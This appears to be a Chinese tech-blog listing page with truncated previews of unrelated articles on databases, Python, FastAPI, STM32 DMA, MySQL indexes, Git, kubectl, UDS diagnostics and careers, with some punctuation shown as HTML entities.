导读 随着金融行业的不断发展&#xff0c;多个业务系统的整合成为了趋势&#xff0c;分布式数据库的应用也愈发广泛。为了应对多业务融合带来的复杂性&#xff0c;金融机构需要在保障各业务系统高效运行的同时&#xff0c;确保 IT 系统的高可用性和稳定性。本文将介绍 TiDB 如…

媒体服务器软件BUG说明及改进方案

媒体服务器软件BUG说明及改进方案 一、BUG描述二、问题分析三、改进方案四、实施计划五、预期效果六、总结一、BUG描述 在当前版本的媒体服务器中,存在一个关于静音媒体流处理的问题。具体表现为:当主叫连续发送静音帧到媒体服务器时,媒体服务器并未将这些静音帧转发给被叫…

2. Python之注释及缩进以及print和input函数使用

一. Python代码中的注释及缩进 Python中注释有单行注释&#xff0c;多行注释&#xff0c;声明注释 单行注释使用符号#&#xff0c;从#开始&#xff0c;后面到本行末尾都是注释内容。多行注释可以使用’‘’ ‘’三个引号&#xff0c;三个引号内的内容都是注释声明注释&#x…

相机内存卡格式化了照片怎么恢复?格式化恢复详解

摄影爱好者们都知道&#xff0c;相机内存卡是记录我们美好瞬间的重要媒介。然而&#xff0c;在使用过程中&#xff0c;有时我们会因操作不当或设备故障&#xff0c;不小心格式化了内存卡&#xff0c;从而导致珍贵的照片丢失。面对这种情况&#xff0c;我们该如何恢复这些被格式…

深入FastAPI:掌握使用多个关联模型的高级用法[Union类型]

在FastAPI中&#xff0c;响应模型可以声明为Union类型&#xff0c;这允许你为同一个端点定义多种可能的响应模型。这种灵活性使得API可以根据不同的情况返回不同类型的数据结构。 例如&#xff0c;根据请求中的查询参数或数据库中的数据&#xff0c;一个API端点可能有时返回一…

STM32 HAL DMA 中断碰到的问题

流程 串口收数据—>dma搬运到变量—>空闲中断----->接收完成 配置 dma中断全部去掉 串口中断开启 freertos中断全部去掉 时钟配置 代码 开启中断 // DMA 空闲检查 void receives_uaru_7(void) {RXU7 0;//清除中断标志HAL_UARTEx_ReceiveToIdle_DMA(&hua…

【学习笔记11】如何找到twitter中自己的cookie?

步骤 在浏览器中打开twitter网站&#xff0c;按下CtrlShiftI(i)按下面步骤以此点击 参考 如何找到自己的Facebook XS Cookie和X/Twitter Auth_Token? 一張圖秒懂

二、Maven工程的创建--JavaSEJavaEE

1、idea创建Maven JavaSE工程&#xff1a; 2、idea创建Maven JavaEE工程&#xff1a; &#xff08;1&#xff09;手动创建 &#xff08;2&#xff09;插件方式创建 在idea里安装插件JBLJavaToWeb&#xff1b; 选择需要生成的项目文件后&#xff0c;右击&#xff1a; 项目…

【实战篇】MySQL为什么有时候会选错索引?

场景分析 1 如下数据库表&#xff1a; CREATE TABLE t (id int(11) NOT NULL AUTO_INCREMENT,a int(11) DEFAULT NULL,b int(11) DEFAULT NULL,PRIMARY KEY (id),KEY a (a),KEY b (b) ) ENGINEInnoDB;然后&#xff0c;我们往表 t 中插入 10 万行记录&#xff0c;取值按整数递…

那些35岁以上的产品经理都去做什么了?

前言 升成管理层的一批&#xff0c;改行去开店的一批&#xff0c;剩下来在干产品经理的也不少&#xff0c;能在35岁之后还干产品经理的&#xff0c;都是人精&#xff0c;知道适者生存&#xff0c;知道要跟着大势走。 现在的大势是啥&#xff1f;AI呀&#xff01; 我那些干了…

【delphi】判断多显示器下,程序在那个显示其中

在 Delphi 中&#xff0c;如果你的电脑连接了多个显示器&#xff0c;可以通过以下步骤判断某个程序在哪个显示器上运行。 方法概述&#xff1a; 获取程序窗口的位置&#xff08;例如窗体的 Left、Top 坐标&#xff09;。使用 Screen.MonitorFromWindow 函数来确定该窗口所属的…

面了 5 家知名企业的NLP算法岗(大模型方向),被问麻了。。。。。

最近一位同学&#xff0c;给我分享了他面试 NLP 算法工程师(大模型方向)的经历与经验。直呼最近找工作太难了。。。。 今天我整理后分享给大家&#xff0c;希望对后续找工作的有所帮助。 这位同学为面试刷了 leetcode200-300 题左右&#xff0c;侧重刷中高频hard题&#xff0…

图的广度优先遍历与深度优先遍历(C语言)

这是结果 #include <stdio.h> #include <stdlib.h> #include <stdbool.h>#define _CRT_SECURE_NO_WARNINGS// 定义边表结点结构 typedef struct EdgeNode {int adjvex; // 邻接顶点域&#xff0c;存储该边所指向的顶点struct EdgeNode* next; // 指向下一条…

LLM 大模型产品经理学习指南:【2024 全新版】极致详细,一篇搞定!

前言 随着人工智能技术的蓬勃发展&#xff0c;尤其是大模型&#xff08;Large Model&#xff09;的强势兴起&#xff0c;越来越多的企业对这一领域愈发重视并加大投入。作为大模型产品经理&#xff0c;需具备一系列跨学科的知识与技能&#xff0c;方能有效地推动产品的开发、优…

六西格玛质量管理:让质量成为竞争的关键-优思学院

前言&#xff1a;六西格玛的传奇之路 提起质量管理&#xff0c;六西格玛无疑是绕不开的一个话题。从摩托罗拉到通用电气&#xff0c;从制造业到服务业&#xff0c;六西格玛质量管理的方法已经走遍全球&#xff0c;成为许多企业成功的关键。无论是提高产品质量、减少浪费&#…

DevC++编译及使用Opencv

1.依赖 需要如下依赖&#xff1a; DevC11Opencv4.10.0CMake.exe 整个安装过程参考下面的文章&#xff1a;https://blog.csdn.net/weixin_41673576/article/details/108519841 这里总结一下遇到的问题。 2.问题 2.1 DevC安装路径 一定不要有空格&#xff01;&#xff01;否则…

kubectl的安装使用

1. Windows下载kubectl 2.将kucectl的所在目录添加到PATH环境变量下 3.运行 kubectl version --client 命令来测试kubectl是否正确安装并显示其版本信息。这个命令会显示kubectl客户端的版本信息&#xff0c;如果一切正常&#xff0c;这将确认kubectl已经成功安装在你的Windo…

Git 学习与使用

0 认识⼯作区、暂存区、版本库 ⼯作区&#xff1a;是在电脑上你要写代码或⽂件的⽬录。 暂存区&#xff1a;英⽂叫stage或index。⼀般存放在.git ⽬录下的index⽂件&#xff08;.git/index&#xff09;中&#xff0c;我们 把暂存区有时也叫作索引&#xff08;index&#xff09;…

UDS 诊断 - ReadDTCInformation(读取 DTC 信息)(0x19)服务(2) - 请求消息

UDS 诊断服务系列文章目录 诊断和通信管理功能单元 UDS 诊断 - DiagnosticSessionControl&#xff08;诊断会话控制&#xff09;&#xff08;0x10&#xff09;服务 UDS 诊断 - ECUReset&#xff08;ECU重置&#xff09;&#xff08;0x11&#xff09;服务 UDS 诊断 - SecurityA…